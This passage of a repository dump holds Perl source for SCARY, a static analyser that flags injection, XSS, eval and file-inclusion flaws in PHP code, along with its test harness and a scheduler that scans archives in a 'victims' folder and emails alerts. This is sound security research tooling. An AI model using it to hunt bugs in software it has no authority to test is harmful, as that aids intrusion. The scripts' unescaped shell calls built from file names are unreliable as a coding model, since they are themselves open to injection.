&secure_var('xss','volatile',$params_tracked_variable,$curr_local_virtual_line_number,'','') if(in_array($called_function,"@xss_filtering_functions")); 1246 | &secure_var('xss','permanent',$left_side,$curr_local_virtual_line_number,'','') if($left_side ne undef); 1247 | } 1248 | ## [SQL] 1249 | if(in_array($called_function,"@sql_filtering_functions")||in_array($called_function,"@sql_num_filtering_functions")||in_array($called_function,"@sql_num_checking_functions")) 1250 | { 1251 | ## UGLY FALSE POSITIVE WITH ADDSLASHES functions class and concatenation with single quotes - workaround 1252 | ## add condition here (whether left side of expression has even number of ' - count_instances($code,"'"); 1253 | my $params_tracked_variable_preg=&escape_varname_to_regex($params_tracked_variable_original); 1254 | $expression_line=~/$params_tracked_variable_preg/; 1255 | my $dynamic_left_side=$`.$registered_variables{$params_tracked_variable}; ## get variable's value 1256 | #print "[DEBUG-DYNAMIC-LEFT-VALUE]: $dynamic_left_side\n"; 1257 | my $single_quotes_before=&count_instances($dynamic_left_side,"'"); 1258 | ## end of slashes based false positive detector 1259 | &secure_var('sql_filtered','volatile',$params_tracked_variable,$curr_local_virtual_line_number,'','') if($single_quotes_before%2); 1260 | &secure_var('sql_num_filtered','volatile',$params_tracked_variable,$curr_local_virtual_line_number,'','') if(&in_array($called_function,"@sql_num_filtering_functions")); 1261 | &secure_var('sql_num_checked','volatile',$params_tracked_variable,$curr_local_virtual_line_number,'','') if(&in_array($called_function,"@sql_num_checking_functions")); 1262 | if($left_side ne undef) ## if leftside is not undef it's almost always ELSE for the final call condition 1263 | { 1264 | ### it should be SQL filtered here 1265 | &secure_var('sql_filtered','permanent',$left_side,$curr_local_virtual_line_number,'','') if(&in_array($called_function,"@sql_filtering_functions")&&$single_quotes_before%2); 1266 | &secure_var('sql_num_filtered','permanent',$left_side,$curr_local_virtual_line_number,'','') if(&in_array($called_function,"@sql_num_filtering_functions")); 1267 | &secure_var('sql_num_checked','permanent',$left_side,$curr_local_virtual_line_number,'','') if(&in_array($called_function,"@sql_num_checking_functions")); 1268 | } 1269 | } 1270 | ## [SHELL] 1271 | if(in_array($called_function,"@escape_shell_functions")) 1272 | { 1273 | &secure_var('shell','volatile',$params_tracked_variable,$curr_local_virtual_line_number,'',''); 1274 | &secure_var('shell','permanent',$left_side,$curr_local_virtual_line_number,'','') if($left_side ne undef); ## if leftside is not undef it's almost always ELSE for the final call condition 1275 | } 1276 | ## [EVAL], [FOPEN], [EXEC], - evals are filtered only by standard checking functions crap 1277 | ## [UPLOAD] - not implemented 1278 | ## ADDITIONALLY 'UNIVERSAL' CHECKS SECTION 1279 | ## Ok, question - shall it be volatile or permanent? It could depend on the sensibility setting, for now let's just set it as volatile 1280 | &secure_var('array_checked','volatile',$params_tracked_variable,$curr_local_virtual_line_number,'','') if(&in_array($called_function,"@array_functions")); 1281 | if(&in_array($called_function,"@filtering_functions")) 1282 | { 1283 | if($called_function eq 'preg_replace'&&preg_replace_eval_vuln($parsed_call_params[0],$parsed_call_params[1],$parsed_call_params[3],$param_index)) ### params required here 1284 | { 1285 | &set_final_call_vulnerable('eval',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted) 1286 | } 1287 | else 1288 | { 1289 | &secure_var('universal_filtered','volatile',$params_tracked_variable,$curr_local_virtual_line_number,'',''); 1290 | } 1291 | } 1292 | &secure_var('universal_checked','volatile',$params_tracked_variable,$curr_local_virtual_line_number,'','') if(&in_array($called_function,"@checking_functions")); 1293 | if($left_side ne undef) 1294 | { 1295 | &secure_var('universal_filtered','permanent',$left_side,$curr_local_virtual_line_number,'','') if(&in_array($called_function,"@filtering_functions")); ## left side does not interest us with preg_replace with e flag 1296 | } 1297 | ## FINAL CALLS TRACING (replaced 'code' with 'line copy') 1298 | # set_final_call_vulnerable($bug_type,$var_addr,$mapped_from_vline,$mapped_to_varaddr,$mapped_to_vline,$code,$code_trace,$external_is_tainted) 1299 | ## [XSS] 1300 | &set_final_call_vulnerable('xss',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted) if(&in_array($called_function,"@xss_vulnerable_functions")); 1301 | ## [SQL] 1302 | &set_final_call_vulnerable('sql',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted) if(&in_array($called_function,"@sql_vulnerable_functions")); # 1303 | my $nullbyte_required=1; 1304 | # so, we have a bug here - sometimes this is reported even though it's not true 1305 | 1306 | my $param_quote_stripped=$curr_call_param; 1307 | $param_quote_stripped=~s/^"|'//g; 1308 | $param_quote_stripped=~s/"|'$//g; 1309 | $nullbyte_required=0 if($param_quote_stripped=~/$variable_preg$/); 1310 | #&logme("[DEBUG] LAST_RESOLVED_PATH: $curr_call_param, $param_quote_stripped, nullbyte_required: $nullbyte_required"); 1311 | if(&in_array($called_function,"@exec_vulnerable_functions")) 1312 | { 1313 | ## [INCLUDE/REQUIRE] (also the actual parser require logic is embedded here, since we changed behaviour of curr_line_tracked variable) 1314 | #print "[RESOLVE-INCLUDE] GOING TO RESOLVE $curr_call_param\n"; 1315 | my $include_resolved_call_param=$last_resolved_path; 1316 | while($curr_call_param=~/$variable_preg/g) 1317 | { 1318 | my $value=''; 1319 | $value=$registered_variables{$1} if($registered_variables{$1} ne undef); 1320 | $include_resolved_call_param=~s/$variable_preg/$value/; 1321 | } 1322 | &set_final_call_vulnerable('exec',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted,$nullbyte_required); 1323 | &logme("[RESOLVED-INCLUDE] $include_resolved_call_param") if($debug_config{'RESOLVE'}); 1324 | if(-e $project_dir.'/'.$include_resolved_call_param) 1325 | { ## we perform an include, there's a file present and resolved 1326 | if(!&include_exists($project_dir.'/'.$include_resolved_call_param)) 1327 | { 1328 | my $curr_file=$file; 1329 | my $curr_line_number=$line_number; 1330 | &analyse_file($project_dir.'/'.$include_resolved_call_param); 1331 | $file=$curr_file; 1332 | $registered_constants{'FILE'}=$file; 1333 | $line_number=$curr_line_number; 1334 | } 1335 | } 1336 | else 1337 | { 1338 | &logme("[WARNING] required file doesn't exist: $project_dir/$include_resolved_call_param, document_root: $project_dir, code:$code") if($debug_config{'WARNING'}); 1339 | } 1340 | } 1341 | ## [SHELL] 1342 | &set_final_call_vulnerable('shell',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted) if(&in_array($called_function,"@shell_vulnerable_functions")); 1343 | ## [FOPEN] 1344 | &set_final_call_vulnerable('fopen',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted,$nullbyte_required) if(&in_array($called_function,"@fopen_vulnerable_functions")); 1345 | ## [EVAL] 1346 | &set_final_call_vulnerable('eval',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted) if(&in_array($called_function,"@eval_vulnerable_functions")); 1347 | ## [UPLOAD] 1348 | &set_final_call_vulnerable('upload',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted) if(&in_array($called_function,"@upload_vulnerable_functions")); ## [SSTI] 1349 | &set_final_call_vulnerable('ssti',$params_tracked_variable,$curr_local_virtual_line_number,'','',$line_copy,$registered_variables_trace{$params_tracked_variable},$is_tainted) if(&in_array($called_function,"@ssti_vulnerable_functions")); 1350 | ### END OF FLAW DETECTING SECTION, END OF CURRENT LINE TRACKING SECTION 1351 | ### END OF CURRENT NEW CORE 1352 | } ### END OF USER_DEFINED/NATIVE ALTERNATIVE BLOCK 1353 | $param_index++; ## parameter number 1354 | } ##END OF PARAMETERS FOREACH 1355 | #&logme("[WARNING] call params ($called_function($call_params)) do not contain tracked variable for $code") if(!$tracked_param_found&&$debug_config{'WARNING'}); 1356 | $code=substr $code, length($match)+1,length($code); ## MATCH CUTOFF 1357 | $return_expr="$comma$called_function(".join(',',@parsed_call_params).")".&parse_expression($code,$left_side); 1358 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met&&&get_curr_func_name() ne ''); 1359 | $nested_expressions--; 1360 | pop(@call_trace); 1361 | return $return_expr; 1362 | } 1363 | ## END OF FUNCTION CALL HANDLING BLOCK 1364 | ## 3 EVALUATION SECTION (string starts with variable or constant), completely rewritten, not tested 1365 | ## (comma separated arguments are temporarily not implemented and shall raise parse errors, 1366 | ## allowing all expressions to start with the optional comma should solve the issue 1367 | ## SO FAR, SO GOOD 1368 | ## constant checkups 1369 | if($code=~/^\s*(\w+)\s*/) 1370 | { 1371 | # ## constant found 1372 | my $match=$&; 1373 | $return_expr=$1; 1374 | #print "[CONSTANT] $return_expr ($code)\n"; 1375 | #my $inset_const=''; 1376 | my $inset_const=$return_expr; ## changed after problems with parsing parameters with new algorithm 1377 | if($registered_constants{$return_expr} ne undef) 1378 | { 1379 | $inset_const=$registered_constants{$return_expr}; 1380 | } 1381 | else 1382 | { 1383 | if(!&in_array($return_expr,"@php_predefined_constants")&&!($return_expr=~/^\d+$/)) 1384 | { 1385 | &logme("[WARNING] unknown constant $return_expr met at $file:$line_number ($line_copy).\n") if(!&in_array(lc($return_expr),"@php_builtins")&&$debug_config{'WARNING'}); 1386 | $inset_const=$return_expr; ## 1387 | } 1388 | else 1389 | { 1390 | # - extend list of constants: '__CLASS__', '__DIR__', '__FILE__', '__FUNCTION__', '__LINE__' 1391 | $inset_const=$function_define_trace[scalar(@function_define_trace)-1] if($return_expr eq '__CLASS__'); ## temporary? 1392 | $inset_const=$function_define_trace[scalar(@function_define_trace)-1] if($return_expr eq '__FUNCTION__'); 1393 | $inset_const=$function_define_trace[scalar(@function_define_trace)-1] if($return_expr eq '__METHOD__'); 1394 | $inset_const=$file if($return_expr eq '__FILE__'); 1395 | $inset_const=&dir_name($file) if($return_expr eq '__DIR__'); 1396 | $inset_const=$line_number if($return_expr eq '__LINE__'); 1397 | } 1398 | } 1399 | $code=~s/$match//; 1400 | $return_expr=$comma.$inset_const.&parse_expression($code,$left_side); 1401 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 1402 | $nested_expressions--; 1403 | return $return_expr; 1404 | } 1405 | ## numeric constant 1406 | if($code=~/^(\d+(\.\d+)?)/) 1407 | { 1408 | my $match=$&; 1409 | $return_expr=$1; 1410 | $code=~s/$match//; # instead of substr, it's fine 1411 | $return_expr=$comma.$return_expr.&parse_expression($code,$left_side); 1412 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 1413 | $nested_expressions--; 1414 | return $return_expr; 1415 | } 1416 | if($code=~/^$variable_preg/) 1417 | { 1418 | my $match=$&; 1419 | my $new_var=$1; 1420 | &logme("[DEBUG] evaluation section called for: $code") if($debug_config{'CALL'}); 1421 | ®ister_variable($new_var,'') if(!&variable_exists(&resolve_full_variable_namespace_path($new_var))); ## it's empty by default, so as in PHP 1422 | my $new_var_regex=&escape_varname_to_regex($new_var); 1423 | $code=~s/$new_var_regex//; 1424 | my $post_expr=&parse_expression($code,$left_side); 1425 | my $ret_string=$comma.&resolve_full_variable_namespace_path($new_var).$post_expr; # string for return 1426 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($ret_string)) if($return_met); 1427 | $return_expr=$ret_string; 1428 | $nested_expressions--; 1429 | return $return_expr; 1430 | } 1431 | 1432 | ### LAST SECTION TO REVIEW AND WE'RE GOING BACK TO TESTS 1433 | my $buff=''; 1434 | my $char_before=''; 1435 | ## now quotes section 1436 | ## ADD INTERPOLATION 1437 | my $rep_code=$code; 1438 | ## this can be done much more elegant, but for now we have face another issue 1439 | if($code=~/^"/) ## we start with double quot 1440 | { 1441 | #print "Ok, were here! This is string starting! $code\n"; 1442 | my $string_char_cnt=0; 1443 | $rep_code=~s/^"//; 1444 | $buff.='"'; 1445 | ## here variable name interpolation comes into play: prematch.parse_line($var_name).postmatch 1446 | while($rep_code=~/(.)/g) ## one char sequentially grabbing 1447 | { 1448 | $string_char_cnt++; 1449 | if($string_char_cnt eq $max_string_length) 1450 | { 1451 | &logme("[ERROR] string longer than $max_string_length, truncating.") if($debug_config{'DEBUG'}); 1452 | $char_before='"'; 1453 | goto double_quot_parsed; 1454 | } 1455 | $buff.=$1; 1456 | goto double_quot_parsed if($1 eq '"'&&ord($char_before) ne 92); ## it is possible to hang it by consuming whole memory with huge file with unclosed string 1457 | $char_before=$1; 1458 | } 1459 | } 1460 | double_quot_parsed: 1461 | if($buff) 1462 | { 1463 | $code=substr $code,length($buff),length($code); ## 1464 | $buff=~s/^"//; 1465 | $buff=~s/"$//; 1466 | ## interpolation (currently only one variable) 1467 | if($buff=~/$variable_preg/) 1468 | { 1469 | my $match=&parse_expression($&,$left_side); 1470 | $buff=$`.$match.$'; # prematch+parsed+postmatch :DD 1471 | } 1472 | $return_expr=$comma.$buff.&parse_expression($code,$left_side); 1473 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 1474 | $nested_expressions--; 1475 | return $return_expr; 1476 | } 1477 | ### single quot parsing 1478 | if($code=~/^\'/) ## instead of quot single 1479 | { 1480 | my $string_char_cnt=0; 1481 | $rep_code=~s/^\'//; 1482 | $buff.="'"; 1483 | while($rep_code=~/(.)/g) ##one char grabbing with quotes skipping 1484 | { 1485 | $string_char_cnt++; 1486 | if($string_char_cnt eq $max_string_length) 1487 | { 1488 | &logme("[ERROR] string longer than $max_string_length, truncating.") if($debug_config{'DEBUG'}); 1489 | $char_before="'"; 1490 | goto single_quot_parsed; 1491 | } 1492 | $buff.=$1; 1493 | goto single_quot_parsed if($1 eq "'" && ord($char_before) ne 92); 1494 | $char_before=$1; 1495 | } 1496 | } 1497 | single_quot_parsed: 1498 | if($buff) 1499 | { 1500 | $code=substr $code,length($buff),length($code); 1501 | $buff=~s/^'//; 1502 | $buff=~s/'$//; 1503 | $return_expr=$comma.$buff.&parse_expression($code,$left_side); 1504 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 1505 | $nested_expressions--; 1506 | return $return_expr; 1507 | } 1508 | 1509 | ## language constructs should hit this place 1510 | &logme("[ERROR] PARSE ERROR:$code") if($debug_config{'DEBUG'}&&$code!=''); 1511 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 1512 | $nested_expressions--; 1513 | return $comma.$code; 1514 | } 1515 | ## this method is called after final call detection, it checks for sanitizing history in the current namespace -> it fills final_call_vulnerable hash 1516 | ## ok, hereby I propose to change this method a bit and remove snitizing history check from it at all, since it should be done by calculate bugs anyway 1517 | ## therefore this introduces only unnecessary mess, let's just fill final_call_vulnerable hash without worrying about $secured hash, since this is the job for calculate_bugs method] 1518 | # set_final_call_vulnerable($bug_type,$var_addr,$mapped_from_vline,$mapped_to_varaddr,$mapped_to_vline,$code,$code_trace,$external_is_tainted) 1519 | sub set_final_call_vulnerable 1520 | { 1521 | my $bug_type=shift; 1522 | my $var_addr=shift; 1523 | my $mapped_from_vline=shift; 1524 | my $mapped_to_varaddr=shift; 1525 | my $mapped_to_vline=shift; 1526 | my $code=shift; 1527 | my $code_trace=shift; 1528 | my $external_is_tainted=shift; 1529 | my $nullbyte_required=shift; ## this one is currently optional and used only for LFI-s to detect NULLBYTE requirement, its use may be extended for SQL-s, fopen-s and so on 1530 | $nullbyte_required=0 if($nullbyte_required eq undef); 1531 | my $varname_preg=&varname_addr2preg($var_addr); 1532 | $final_call_vulnerable{$bug_type}{$var_addr}=() if($final_call_vulnerable{$bug_type}{$var_addr} eq undef); 1533 | #&logme("SET FINAL CALL VULN {$bug_type}{$var_addr} mapped_from_vline=>$mapped_from_vline, mapped_to_varaddr=>$mapped_to_varaddr, mapped_to_vline=>$mapped_to_vline, code=>$code, code_trace=>$code_trace, is_tainted=>$external_is_tainted, line=>$line_number, file=>$file"); 1534 | &logme("[WARNING] set_final_cal_vuln{$bug_type} called against empty variable on: $line_copy") if(!$var_addr&&$debug_config{'WARNING'}); 1535 | push(@{$final_call_vulnerable{$bug_type}{$var_addr}},{'mapped_from_vline'=>$mapped_from_vline,'mapped_to_varaddr'=>$mapped_to_varaddr,'mapped_to_vline'=>$mapped_to_vline,'code'=>$code,'code_trace'=>$code_trace,'is_tainted'=>$external_is_tainted,'line'=>$line_number,'file'=>$file,'desc'=>'','nullbyte'=>$nullbyte_required}); 1536 | } 1537 | sub calculate_bugs 1538 | { 1539 | my $rate; 1540 | my $report_code; 1541 | my $report_code_trace; 1542 | my $report_desc; 1543 | my $report_file; 1544 | my $vuln_line; 1545 | my $vuln_line_external; 1546 | my $vuln_line_internal; 1547 | my $vuln_var; 1548 | my $nullbyte; 1549 | foreach my $bug_group(keys %final_call_vulnerable) 1550 | { 1551 | foreach my $variable_address(keys %{$final_call_vulnerable{$bug_group}}) 1552 | { 1553 | ## iterate over all final call ocurrences, not just one 1554 | for(my $i=0;$i$vuln_line_external))||($secure_line_external_start eq $vuln_line_external&&($secure_line_internal_start ne ''&&$vuln_line_internal ne ''&&$secure_line_internal_start<$vuln_line_internal))) 1630 | { 1631 | #print "$secure_internal_var $durability secured record found (line: $secure_line_external_start)\n"; 1632 | # print "$variable_address (internal:$secure_internal_var) $durability secured record found (line: $secure_line_external_start)\n"; 1633 | $rate+=$final_secure_keys_relation{$bug_group}{$secure_bug_group}; 1634 | goto durability_eof; # avoid duplicates 1635 | } 1636 | } # end of for on secured records 1637 | 1638 | durability_volatile: 1639 | # SECTION 2 1640 | $durability='volatile'; 1641 | # print "Checking for {$secure_bug_group}{$variable_address}{$durability} record.\n"; 1642 | goto durability_eof if($secured{$secure_bug_group}{$variable_address}{$durability} eq undef); 1643 | @secured_records=@{$secured{$secure_bug_group}{$variable_address}{$durability}}; 1644 | for(my $j=0;$j0); 1695 | $rate='' if($rate eq 0); 1696 | my $reg_globals=1; 1697 | foreach my $s_global(@tracked_superglobals) 1698 | { 1699 | if($report_desc=~/$s_global/) 1700 | { 1701 | $reg_globals=0; 1702 | last; 1703 | } 1704 | } 1705 | $rate.='-TERMINATOR_REQUIRED' if($nullbyte); 1706 | $rate.='-SECOND_ORDER' if($reg_globals); 1707 | $bug_group =~ tr/a-z/A-Z/; 1708 | my @report_desc_lines=split("\n",$report_desc); 1709 | $report_desc_lines[scalar(grep $_,@report_desc_lines)-1]="[FINAL]".$report_desc_lines[scalar(grep $_,@report_desc_lines)-1]; ## mark the final call for easier result grouping 1710 | foreach my $trace_line(@report_desc_lines) 1711 | { 1712 | chomp($trace_line); 1713 | $trace_line="\t[$bug_group$rate]$trace_line" if($trace_line); 1714 | } 1715 | $report_desc=join("\n",@report_desc_lines); 1716 | &logme("[$bug_group$rate]\n$report_desc"); 1717 | } 1718 | sub quiet_mode 1719 | { 1720 | foreach my $k(keys %debug_config) { $debug_config{$k}=0; } 1721 | } 1722 | sub usage 1723 | { 1724 | print "$0 $version sca tool for PHP coded by ewilded\nUsage:\n$0 sca filename [options]\n$0 auto_tests\n$0 auto_sca project_dir\nOptions can be one of the following:\n-sensitivity=positive|negative"; 1725 | foreach my $output_key(keys %debug_config) { print " -$output_key=0|1"; } 1726 | print "\n"; 1727 | ## include options 1728 | } 1729 | ### [RUN] 1730 | if(@ARGV<1) { &usage(); exit; } 1731 | $work_dir=`pwd`; 1732 | chomp($work_dir); 1733 | my $cmd=$ARGV[0]; 1734 | switch($cmd) 1735 | { 1736 | case 'auto_tests' 1737 | { 1738 | ## iterate over files, run itself with sca cmd, match output and report result 1739 | my @tests=`ls $work_dir/tests/*.result`; 1740 | my $tests_count=scalar(@tests); 1741 | my $passed_tests=0; 1742 | my $failed_tests=0; 1743 | my $curr_test_num=0; 1744 | foreach my $curr_test(@tests) 1745 | { 1746 | $curr_test_num++; 1747 | chomp($curr_test); 1748 | print "$curr_test ($curr_test_num/$tests_count)\t..."; 1749 | my $test_params=''; 1750 | my $test_name=$curr_test; 1751 | $test_name=~s/\.result$//; 1752 | open(f_params,"<$test_name.params"); 1753 | my $test_params=; 1754 | close(f_params); 1755 | chomp($test_params); 1756 | print "RUNNING perl $0 sca $test_name.php $test_params\n"; 1757 | my @curr_results=`perl $0 sca $test_name.php $test_params`; 1758 | my @expected_results=`cat $test_name.result`; 1759 | chomp($expected_results[0]); 1760 | my $test_is_fine=0; 1761 | my $curr_res_string="@curr_results"; 1762 | $curr_res_string=~s/\s*//g; 1763 | $test_is_fine=1 if($curr_res_string=~/$expected_results[0]/m); 1764 | if(!$test_is_fine) 1765 | { 1766 | $failed_tests++; 1767 | print color 'bold red'; 1768 | print "[FAILED]\n\n"; 1769 | print color 'reset'; 1770 | } 1771 | else 1772 | { 1773 | $passed_tests++; 1774 | print color 'bold green'; 1775 | print "[OK]\n\n"; 1776 | print color 'reset'; 1777 | } 1778 | } 1779 | my $accuracy=$passed_tests/$tests_count*100; 1780 | printf "Passed $passed_tests, failed $failed_tests of $tests_count (accuracy %2.2f%%)\n",$accuracy; 1781 | } 1782 | case 'sca' 1783 | { 1784 | if($ARGV[1] eq undef) 1785 | { 1786 | &usage(); 1787 | exit; 1788 | } 1789 | $f=$ARGV[1]; 1790 | if(not -f $f) { print "[ERROR] file $f does not exist!\n"; exit; } 1791 | my @debug_config_keys=keys %debug_config; 1792 | if(@ARGV>2) 1793 | { 1794 | my $curr_arg_num=2; 1795 | while($ARGV[$curr_arg_num] ne undef) 1796 | { 1797 | if($ARGV[$curr_arg_num]=~/-sensitivity=(\w+)/) 1798 | { 1799 | $sensitivity=$1; 1800 | } 1801 | else 1802 | { 1803 | $ARGV[$curr_arg_num]=~/-(\w+)=(1|0)/; 1804 | $debug_config{$1}=$2 if(&in_array($1,"@debug_config_keys")); 1805 | } 1806 | $curr_arg_num++; 1807 | } 1808 | } 1809 | $registered_constants{'__FILE__'}=$f; 1810 | $registered_constants{'DIRECTORY_SEPARATOR'}='/'; 1811 | my @full_path=split('/',$f); 1812 | # my $full_dir=$work_dir.'/logs/'.$full_path[scalar(@full_path)-2]; 1813 | # `mkdir -p $full_dir`; 1814 | # my $fname=$full_path[scalar(@full_path)-1]; 1815 | pop(@full_path); 1816 | $project_dir=join('/',@full_path); ## project_dir is the directory where the file is present 1817 | $project_dir='.' if($project_dir eq ''); 1818 | analyse_file($f); 1819 | &calculate_bugs(); 1820 | ## REPORT 1821 | if($debug_config{'LIST_VARIABLES'}) 1822 | { 1823 | &print_variables("\n\n[DEBUG] variables") ; 1824 | &print_constants("\n\n[DEBUG] constants"); 1825 | &logme("\nTracked superglobals: ".&descape_varname_from_regex("@tracked_superglobals")."\n"); 1826 | &logme("\nTracked variables: ".&descape_varname_from_regex(@tracked_variables)."\n"); 1827 | &logme("\nAll functions used on input paramters: @called_functions\n"); 1828 | } 1829 | &logme("\nIncluded files: @tracked_files"); 1830 | if($debug_config{'SUMMARY'}) 1831 | { 1832 | if($warnings) 1833 | { 1834 | &logme("Found warnings summary:\n"); 1835 | print color 'bold yellow'; 1836 | print "$warnings\n"; 1837 | print color 'reset'; 1838 | } 1839 | &logme("Found bugs summary:\n"); 1840 | $bugs='[NOTHING]' if(!$bugs); 1841 | print color 'bold red'; 1842 | print "$bugs\n"; 1843 | print color 'reset'; 1844 | } 1845 | } 1846 | case 'auto_sca' 1847 | { 1848 | $curr_line_tracked=LOCAL_VAL; 1849 | $work_dir=$ARGV[1]; 1850 | print "\n\n\nAUTO SCA $work_dir STARTS\n\n\n"; 1851 | foreach my $entry(`find $work_dir -iname '*.php'`) 1852 | { 1853 | chomp($entry); # timeout 60 to avoid instances hanging due to buggy parsing (infinite loops etc.) 1854 | print "Running timeout 60 perl $0 sca $entry\n"; 1855 | system("timeout 60 perl $0 sca $entry -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=1 -WARNING=0 -RESOLVE=0 -MATCH=0"); 1856 | } 1857 | } 1858 | default { &usage(); exit; } 1859 | } 1860 | -------------------------------------------------------------------------------- /scheduler.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | ## SCARY's scheduler (multiprocessing is fucked and it will be for some time (no hardware for that at the moment anyway)) 3 | use strict; 4 | my $victims_dir='/home/scary/victims/'; 5 | my @alert_mail=('ewilded@gmail.com'); 6 | my $mail_from='ewilded@gmail.com'; 7 | my @alert_filters=('\\[XSS\\]','\\[EXEC\\]','\\[EVAL\\]','\\[SHELL\\]','\\[SQL\\]','\\[FOPEN\\]','\\[EXEC-NULLBYTE_REQUIRED\\]','\\[FOPEN-NULLBYTE_REQUIRED\\]', '\\[EXEC-PROBABLY\\]','\\[EVAL-PROBABLY\\]','\\[SHELL-PROBABLY\\]','\\[SQL-PROBABLY\\]','\\[FOPEN-PROBABLY\\]','\\[FOPEN-PROBABLY-NULLBYTE_REQUIRED\\]','\\[EXEC-PROBABLY-NULLBYTE_REQUIRED\\]'); 8 | ## add -PROBABLY filters as well 9 | start_again: 10 | my @archives=(`ls $victims_dir/*.t*gz`,`ls $victims_dir/*.rar`, `ls $victims_dir/*.zip`, `ls $victims_dir/*.bz2`); 11 | foreach my $archive(@archives) 12 | { 13 | chomp($archive); 14 | my @archive_parts=split('/',$archive); 15 | $archive=$archive_parts[scalar(@archive_parts)-1]; 16 | my $dir_name=$archive; 17 | $dir_name=~s/\.tar\.bz2$//; 18 | $dir_name=~s/\.tar\.gz$//; 19 | $dir_name=~s/\.tgz$//; 20 | #$dir_name=~s/\.gz$//; 21 | $dir_name=~s/\.zip$//; 22 | $dir_name=~s/\.rar$//; 23 | my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); 24 | $dir_name.="-$year-$mon-$mday"; ## append date to avoid confusion about project being up to date 25 | if(-d $dir_name) 26 | { 27 | print "$dir_name is already processed.\n"; 28 | } 29 | else 30 | { 31 | print "$victims_dir/$dir_name does not exists.\n"; 32 | `mkdir $victims_dir/$dir_name`; 33 | `mv $victims_dir/$archive $victims_dir/$dir_name/`; 34 | my $new_archive_path="$victims_dir/$dir_name/$archive"; 35 | print "Unpacking $new_archive_path.\n"; 36 | 37 | system("cd $victims_dir/$dir_name; tar zxfv $new_archive_path") if($new_archive_path=~/tar\.gz$/||$new_archive_path=~/tgz$/); 38 | system("cd $victims_dir/$dir_name; tar jxfv $new_archive_path") if($new_archive_path=~/tar\.bz2$/); 39 | system("cd $victims_dir/$dir_name; unzip $new_archive_path") if($new_archive_path=~/\.zip$/); 40 | system("cd $victims_dir/$dir_name; unrar e $new_archive_path") if($new_archive_path=~/\.rar$/); 41 | 42 | print "Unacking done, starting SCARY.\n"; 43 | my $log="$victims_dir/$dir_name.AUTO_SCARY.log"; 44 | my $alert_log="$victims_dir/$dir_name.AUTO_SCARY.ALERT"; 45 | system("touch $victims_dir/$dir_name/.SCARED"); # lockfile 46 | system("perl scary.pl auto_sca $victims_dir/$dir_name>$log"); 47 | ## when it's done 48 | 49 | ### Ok, here are the filters 50 | my @alert=(); 51 | foreach my $alert_filter(@alert_filters) 52 | { 53 | push(@alert,`grep '$alert_filter' $log`); 54 | } 55 | if(scalar(@alert)>0) 56 | { 57 | open(F,">$alert_log"); 58 | print F "Subject: SCARY alert for $dir_name\n"; 59 | foreach my $alert_line(@alert) 60 | { 61 | print F $alert_line; 62 | } 63 | close(F); 64 | foreach my $alert_mail_addr(@alert_mail) 65 | { 66 | print "$alert_log not empty, mailing results to $alert_mail_addr.\n"; 67 | print "sendmail -f $mail_from $alert_mail_addr<$alert_log\n"; ## syntax for sendmail is kinda fucked here too 68 | `sendmail -f $mail_from $alert_mail_addr<$alert_log`; 69 | } 70 | print `cat $alert_log`; 71 | } 72 | system("touch $victims_dir/$dir_name/.SCARED_DONE"); # lockfile 73 | print "$dir_name is done.\n"; 74 | } 75 | } 76 | sleep(5); 77 | goto start_again; ## this introduces support for collector.pl working in the same time for continuous SCARY-ing ;D -------------------------------------------------------------------------------- /tests/README: -------------------------------------------------------------------------------- 1 | # SCARY auto parser tests README 2 | ### dir tests contains list of parser tests, each of them consists of two files: 3 | ### test_name.php - PHP script to analyze 4 | ### test_name.params - options for dive inferno (which can include -sensitivity and output group information (same as in the $debug_config keys) 5 | ### test_name.result - expected correct output preg (to avoid complications with differences in outputs resulting from various levels of verbosity, we just assume test is passed if expected preg matches output (empty for no output) -------------------------------------------------------------------------------- /tests/addslashes_false_positive.params: -------------------------------------------------------------------------------- 1 | -sensitivity=negative -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/addslashes_false_positive.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/addslashes_false_positive.result: -------------------------------------------------------------------------------- 1 | \[SQL -------------------------------------------------------------------------------- /tests/addslashes_false_positive2.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 